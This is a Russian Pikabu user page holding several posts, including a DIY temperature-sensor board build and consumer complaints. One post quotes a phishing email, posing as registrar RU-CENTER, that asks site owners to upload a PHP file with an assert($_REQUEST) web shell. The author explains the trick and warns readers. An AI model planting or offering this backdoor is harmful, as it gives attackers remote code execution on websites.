nstorm

nstorm

Они убили Пикабу. С момента пробивания дна отключением минусов, я сюда почти не захожу.
Пикабушник
поставил 3767 плюсов и 4474 минуса
отредактировал 28 постов
проголосовал за 67 редактирований
Награды:
С Днем рождения, Пикабу!5 лет на Пикабу лучший длиннопост недели
71К рейтинг 114 подписчиков 19 подписок 66 постов 30 в горячем

Немножечко кармы

Прям сегодня заснял (дата и время на регике не настроены, в видео неправильно нарисованы). Каждый день в этом месте такие вот "умники" прут через встречку объезжая. Вспомнил прям видео: https://pikabu.ru/story/naivyisshuyu_otsenku_poluchaet_52053...

Тут конечно не так эпично, но я ржал. Надеюсь их как следует наказали.

Если кому непонятно что там происходит, в посте по ссылке я расписывал, а кто-то даже схемы там нарисовал (с другой стороны).

Осторожно с микросхемами из Китая / AliExpress'а

Осторожно с микросхемами из Китая / AliExpress'а Китай, AliExpress, Брак (супружество), Микросхема

Я, как и многие другие, заказываю разные штуки для электроники (Arduino и т.п.) в Китае, в основном на AliExpress'е. Иногда это готовые платки, иногда просто отдельные микросхемки (ИС). И я, к своему стыду, только недавно узнал, что с этим можно влететь.

Я лично напоролся на несоответствие в работе регулятора напряжения. HT7333-A (об этом ниже).

Ну вот не думалось мне, что такую вещь, с одной стороны копеечную, а с другой стороны технически сложную к производству, будут "подделывать". Я предполагал, что они либо работают, либо не работают вовсе. Тем более почти все ИС и так делаются в Китае. Думал как бы беру "на родине", без лишних движений экспорт-импорт.

На деле оказалось, что китайцы не брезгуют  как перемаркировать микросхемы, так и банально продавать бракованную ИС.

Я например собрал платку на полученных с Али HT7333-A, для питания МК. Делал проект для работы от батарейки. Вроде как по даташиту HT7333-A должна без нагрузки потреблять всего около 4 мкА (тот самый quiescent current из даташита). А моя в сборке согласно даташиту (по 10мкФ конденсатору на входе и выходе) "пожирала" около 1.2мА (в 300 раз больше) без какой-либо нагрузки. Это уже после выявил, а сначала ловил глюки питавшегося от неё МК. Стоит ли говорить, что без осциллографа вообще не понятно что там на выходе питания и какие глюки такое питание может дать. Я уж не говорю о быстро дохнущей батарее. А внешне в ленте микросхемы абсолютно нормальные с виду, маркировка совпадает.

Сначала не поверил и искал причины в разных местах. А оказывает бывает и такое. Даже солидные производители ИС (родом не из Китая) могут под спец. заказ продать крупную партию ИС без своего контроля, когда отбраковку просто выбрасывают. Расчет на то, что так сильно дешевле, а конечный пользователь данной ИС будет свою отбраковку и контроль проводить. А что уж говорить о "предприимчивых" китайцах, которые со своих заводов данную отбраковку могут "тырить" и продавать "налево" по дешевой цене. А глюков потом ловить нам и ломать голову.

Уже после того, как ощутил на своем печальном опыте, узнал что такое бывает. Вот одна из статей DiHalt на тему и с какими глюками он сталкивался: http://easyelectronics.ru/mikrosxemy-iz-kitaya.html Там еще куда более забавные глюки словил из-за кривых ИС.


Для чего написал? Ну мало-ли, может не я один такой не знал о таких особенностях китайского рынка ИС и не читал пост Ди. ) Поэтому будьте бдительны, может кому-то это убережет нервы.

Для более-менее ответственных мест (хоть и хобби) я теперь с DigiKey'а через посредников заказываю себе ИС нужные.

Показать полностью 1

"Взлом" сайтов для бедных. :)

Сегодня получили такое письмо на технический домен:


Уважаемый администратор домена!


В соответствии с изменениями, внесенными в регламент ICANN, Вы должны подтвердить, что фактическое управление доменным именем [НАШ ДОМЕН].ru осуществляется лицом, указанным в качестве его администратора.


Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменным именем, создайте в корневой директории сайта файл [набор цифр-символов].php со следующим содержимым:


<?php

assert(stripslashes($_REQUEST[RUCENTER]));

?>


Файл должен быть создан в течение трех календарных дней с момента получения данного сообщения и находиться на сервере до 13 июня 2017 года, 21:00 (UTC+03:00), в противном случае процедура подтверждения будет считаться непройденной.


Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, обслуживание домена будет приостановлено.

"Взлом" сайтов для бедных. :) Сайт, Вебмастер, Взлом, Script kiddie, Мошенничество, Интернет-мошенники

Письмо направлено якобы от RU-CENTER (регисратор доменов), хотя по факту пришло с хостинга компании InfoBox. Конечно же письмо - мошенническое. Abuse в Infobox отправлен, хотя толку от этого не много.

Опять школота какая-то шалит. Т.е. они предлагают вручную админу сайта разместить код, с функцией assert - если кто не в курсе, эта функция выполняет код из параметра. А параметр злоумышленник может передать любой в GET/POST запросу ($_REQUEST[RUCENTER] - именно параметр от клиента).

Будьте внимательны. Никогда, никакой регистратор доменов не потребует от вас размещения файла на сайте, т.к. домен вообще в принципе может существовать без сайта.

Я догадываюсь, что многие понимают, что так нельзя делать и всё такое - ну просто поржите над этим, ребят. Мало ли, вдруг кому другому поможет.

Показать полностью 1

Почта России даже СМС доставила спустя 8 месяцев....

Сегодня с утра прямо приходит СМС от Почты России, что якобы я получил какое-то отправление. Долго думал что за отправление такое из Германии, судя по треку, я такого не ждал. Полез уже трек "пробивать" на сайт и тут заметил дату. Да... действительно в сентябре прошлого года получал я посылочку из Германии. Забыл просто я уже про неё, как-никак 8 месяцев прошло. А вот почта помнит... и сегодня наконец-таки доставила мне СМС о получении.

Почта России даже СМС доставила спустя 8 месяцев.... Почта России, СМС, Отслеживание посылок, Слоупок
Показать полностью 1

Лента. Грамотность.

Лента. Грамотность. Лента, Безграмотность, Супермаркет, Австралия

Новая страна видимо - Австролия. Тогда бы уж хотя бы с двумя "л" писали, хоть понятно было бы что к чему.

Показать полностью 1

Корм для кошек "без косервантов". Лживый маркетинг.

Купил корм для кошки. Дома уже читаю на лицевой стороне упаковки крупными буквами - БЕЗ и перечисление чего там там нет. В т.ч. консервантов написано нет:

Корм для кошек "без косервантов". Лживый маркетинг. Кошачий корм, Purina, Маркетологи, Обман, Консерванты, Длиннопост
Корм для кошек "без косервантов". Лживый маркетинг. Кошачий корм, Purina, Маркетологи, Обман, Консерванты, Длиннопост

Ok. Переворачиваем пачку боком и читаем с торца, мелким шрифтом под изгибом запаянного шва пачки состав:

Корм для кошек "без косервантов". Лживый маркетинг. Кошачий корм, Purina, Маркетологи, Обман, Консерванты, Длиннопост

Ну я в общем-то ничего против консервантов обычно не имею, лишь бы они разрешены были для применения в кормах. Но терпеть не могу, когда так нагло врут. Purina, ну нахрена? Это уже нарушение закона о рекламе и просто обман потребителей.


PS: Т.к. уже посыпались комментарии на тему, что написано без "искусственных консервантов", чтобы не писать каждому, смотрите внимательнее в составе на сноску *, что она означает и её отсутствие рядом с пунктом "консерванты". Значит консерванты именно искусственные, а не натуральные. Более того, с точки зрения русского языка, можно трактовать, что БЕЗ "искусственных" на лицевой стороне упаковки относится только к ароматизаторам.

Показать полностью 3

Точный датчик температуры Si7051, делаем "с нуля".

Всем привет!

Хочу поделиться длинной историей разработки и заказа платы под данный датчик. Полный цикл DIY-проекта, на простеньком примере.

Для своей домашней пивоварни у меня собрана простенькая «метеостанция» с выкладкой данных онлайн на различные сервисы. В качестве датчиков использовались популярные DS18B20. Но вот случайно наткнулся на датчики от Silicon Labs, серии Si705X, и захотелось мне попробовать задействовать их. А конкретно Si7051 — цифровой (I2C) датчик к точностью ±0.1°C и временем конвертации данных с максимальным разрешением 14 бит всего 7 мс (сравните с 750 мс у DS18B20). Не то, чтобы мне нужна была такая точность и скорость на пивоварне, просто захотелось «пообщаться» с новым датчиком. :)

Датчик был настолько новый, что готовых сборок его обнаружено не было. Дело в том, что в отличии от DS18B20, этот датчик идет в корпусе только для поверхностного монтажа — DFN 3x3 мм. Так даже интереснее было — я получил практику сразу многих вещей, включая пайку такой мелкой детали (обычным паяльником). Сейчас кстати появилась в продаже готовая плата от ClosedCube за $8.95. Когда я начинал, их еще не было. Поэтому делал я все с нуля.

Для начала читаем даташит от Si705X. Смотрим типовую схему включения, всё довольно-таки просто, обвязка минимальна:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Помимо самого датчика надо всего пару резисторов и конденсатор:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Такие же номиналы и типоразмеры 0603 и будем использовать. «Нарисовать» всё это дело я решил на EasyEDA. Бесплатно и ничего кроме браузера не требует. Буквально за 15-20 минут набросал схему, аналогичную тому, что в даташите, только добавил коннектор, стандартный штырьковый. Ах да, еще самой микросхемы датчика в базе данных EasyEDA конечно же не было, надо было создать свой компонент. На DIYModules я нашел символы для Si70xx (там не было именно 7051, но были аналоги с точно такой же распиновкой) и Footprint (размещение контактных площадок на плате) для этого DFN-6 3x3 под Eagle. Удачно импортнул их в EasyEDA и теперь они все там есть. Вот такая схемка получилась:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
Дальше разводим плату. Надо заметить, что опыта рисования плат и схем у меня особо нет. Поэтому даже на таком просто примере я больше учусь, если кто заметит ошибки — с радостью приму любую критику, только конструктивно пожалуйста, делалось для себя «на коленке» без опыта какого-либо, работа у меня с этим не связана. Сначала нарисовал плату, где все компоненты с одной стороны были (хотя плата двухслойная была всё-равно). Потом переделал вот так, вынес пассивные компоненты на другую сторону, чтобы с «лицевой» стороны был только датчик, мне его надо «приклеить» к поверхности измеряемой. Получилось вот так:
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Можно было бы еще компактнее или сенсор на угол сместить.

Плата маленькая 13x12 мм. Поэтому заказать изготовить её у OSHPark получилось ооочень дешево. Смешные $1.15 за 3 платы с доставкой, сделанные в США. Да, у них просто по размеру печатают и в небольшом количестве (от 3 штук) мелкие платы у них выгодно заказывать. Я просто экспортировал Gerber из EasyEDA и загрузил его в OSHPark. Всё принялось на ура и без косяков сразу. Разве что на реальных платах шелк обводки вокруг датчика почему-то не был сделан. Хотя на превью был. Но это фигня. Вот так выглядело превью у них:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

На перевернутую подпись C1 не обращайте внимания. Не помню почему так вышло ) Да и пофиг, делалось на скорую руку.

Платы обычной почтой, без трека. А по приходу ко мне получал я их как мелкий пакет с треком RBxxxxxxxxxRU — т. е. наши трек наклеили внутренний, но узнать его до получения пакета я никак не мог. Но получил их в итоге к счастью, извещение принесли. Вот так выглядели платы:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Пока платы готовились и отправлялись, я заказывал компоненты. Сначала поискал по нашим сервисам, типа ChipFind. Что-то на тот момент когда искал, датчики возило всего пару компаний и дорого. Сейчас уже возят нормально, можно найти. Я сначала заказал в Mouser (их российской версии сайта), у которых было заявлено, что в цену «включена» доставка уже. После прислали счет от российской компании, где сверху была стоимость доставки до моего города еще. Не дорого, но как-то это не хорошо говорить одно, а делать по другому. Поэтому я на них забил и заказал в американском DigiKey. С доставкой через посредника Shipito (давно пользуюсь для всякого-разного, адрес виртуальный в США есть). Датчики у них всего по $1.97 были. Еще взял сразу резисторы Panasonic и конденсаторы Murata, с такими же параметрами, как в даташите от Silicon Labs, по 10 шт (от 10 там цена копеечная получается). Добро это дома было, но нонэйм китайский с Али, решил взять «брендовые». Ну и в довесок себе еще мелочевки всякой набрал там. Датчики стоили $5.97, но со всем остальным вышло вот так:

Your total cost is $15.61 in U.S. currency, including $4.11 postage.

На следующий день мне пришло от них письмо с вопросом об адресе получателя. Я при покупке честно выбрал что платежный адрес — мой адрес в России, адрес доставки — адрес Shipito в США. Спрашивали что за компания находится по адресу получатели и является ли это компанией-пересыльщиком. Думал приехали, не станут на форвардера отправлять. Тем более при покупке было уведомление, что один или несколько позиций в заказе подлежат экспортному контролю (заказывал там демо-плату с МК еще, она «мэйд ин ЮСА»). Ответил честно, да, адрес — компания Shipito и указал их «реквизиты» с сайта. Те ответили «ок» и выслали посылку. :) Через пару дней получил на адрес в Шипито и переслал себе через Shipito Economy Airmail. Еще около $10 вышла доставка в РФ. С таможней/доставкой проблем никаких не было.

Все компоненты в посылке разложены по отдельным пакетикам, некоторые даже в двойных и т. д. Ну осталось дело за малым. Спаять это всё. Компоненты мекие. Вот для сравнения как выглядит один датчик:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
Контакты у него не «выпирают» за корпус, но сбоку «заподлицо» слегка заходят, поэтому припаять я смог обычным паяльником недорогим. Центральный пад под чипом — термопад, он всё-равно должен в воздухе болтаться. Кривовато получилось, но всё работает. Вот еще для сравнения размеров фото:
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
А вот как это дело выглядит в сборе (флюс еще не отмыт на фото, поэтому «жирная» плата):
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост
Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

На последней фотке под увеличительным стеклом изображение. Слегка кривовато припаял конечно. Да и фиг с ним, главное, что работает. Это был вообще мой второй в жизни опыт пайки чего-то меньше стандартных штырей коннекторов (header pins). Потренироваться паять SMD, 0603 в т.ч., я взял на Ali вот такую платку за доллар. Не так уж сложно на самом деле, даже с недорогим паяльником с того же Али, только припой и флюс нормальный надо — китайский припой только Mechanic более-менее, остальные даже не берите, ими хрен что спаяешь в принципе. Плату с датчиком я паял Felder'ом, флюс с Китая псевдо-Kingbo RMA-218 (вполне норм). Отмывал бензином «Калоша», потом водой с мылом.

Пока все заказы пришли ко мне домой уже появилась готовая сборка от ClosedCube, о который я писал выше и их простенькая библиотека для Arduino. Я взял Arduino Mini Pro и подрубил к нему. Простенький скетч из примера библиотеки и результат с датчика выдается без проблем:

Точный датчик температуры Si7051, делаем "с нуля". Arduino, Датчик, Silicon Labs, Своими руками, Самоделки, Печатная плата, Длиннопост

Самое главное! На плате преобразователь уровней напряжения я не разводил! Датчику нужно питание 3.3В. Не подавайте на него питание от Arduino с 5В. У меня Mini Pro питается от 3.3В источника, работает на 16MHz нормально вполне с таким питанием, поэтому уровни согласовывать мне надо, везде 3.3В.


PS: На Ali можно найти недорогие готовые платки с датчиком Si7021. У него точность температуры ±0.4°C, зато он еще и влажность измеряет в пределах ±3% RH. Распиновка у него 1 в 1.

Показать полностью 11

Произвол водоканала? Прошу помощи.

#юридическая консультация (уважаемые подписчики, если у вас этого тэга нет в игноре, пожалуйста извините за этот пост у вас в подписках, мне нужна помощь Лиги Юристов, пост публикуется в их сообществе).


Уважаемая Лига юристов!


Прошу помощи разобраться с РСО в лице "водоканала". Теще, проживающей в деревне, воду подают техническую по договору с МУП "Водоканал". Довольно-давно МУП был ликвидирован, а обязательства на себя приняло ООО "Водоканал". К сожалению не нашел в какой форме и на каких основаниях. Теща человек юридически безграмотный, просто платила по новым квитанциям и всё.

Счётчика у неё не было. В 2013 год пришли к ней из водоканала и сказали - надо ставить. Навешали лапши про то, что его ставить обязательно. Ну она и оплатила им за установку (квитанция об оплате есть) и сам счетчик купила. Однако ставить никто так и не пришел. А она забила. Платила как и раньше, по нормативу 2,1м3 на человека.

Теперь водоканал прислал уведомление, в котором "угрожает", что если она не поставит счетчик в ближайшие 60 суток, то они будут рассчитывать объем потребления по "методу учета пропускной способности устройств и сооружений, используемых для присоединения к централизованным системам водоснабжения, при их круглосуточном действии полным сечением в точке подключения к централизованной системе водоснабжения и при скорости движения воды 1,2 метра в секунду" согласно п. 16. Постановления Правительства РФ от 4 сентября 2013 г. N 776 "Об утверждении Правил организации коммерческого учета воды, сточных вод".

Где действительно есть пункт в), который регламентирует эти требования на установку счетчика за 60 дней с момента уведомления. И где конский метод расчета, когда вода течет 24 часа в сутки. НО! Если глянуть общие положения этого N 776, черным по белому ведь написано:

Настоящие Правила распространяются на отношения, возникающие при предоставлении коммунальных услуг, в той части, в которой такие отношения не урегулированы жилищным законодательством Российской Федерации, в том числе Правилами предоставления коммунальных услуг собственникам и пользователям помещений в многоквартирных домах и жилых домов, утвержденными постановлением Правительства Российской Федерации от 6 мая 2011 г. N 354 "О предоставлении коммунальных услуг собственникам и пользователям помещений в многоквартирных домах и жилых домов".

И вот есть подтверждение от Прокураторы, правда Республики Калмыкия, которая к моему региону не имеет отношения, но где тоже самое написано: Действие этих Правил не распространяется на отношения по учету воды, подаваемой в многоквартирные дома и жилые дома, а также сточных вод, принимаемых из таких домов.

Т.е. вроде как бы водоканал (как обычно) пытается применить закон, который на частных лиц (точнее на подключение жилых построек) не распространяется с одной стороны.

Но почему тогда я смог найти такое вот решение суда, которое присудило водоканалу с частного лица, подключившего воду в жилом помещение почти пол миллиона? Неужели судья не разобрался в сути постановления и некорректно применил его нормы?


PS: Проблема усугубляется отсутствием договора с действующей РСО, которая ООО. С МУП договор на руках есть, но там даже дата заключения не прописана.


Прошу помощи сообщества и советов! Заранее спасибо. Комментарии для минусов оставлю внутри, благодарю, если кто поможет поднять повыше.

Показать полностью
Отличная работа, все прочитано!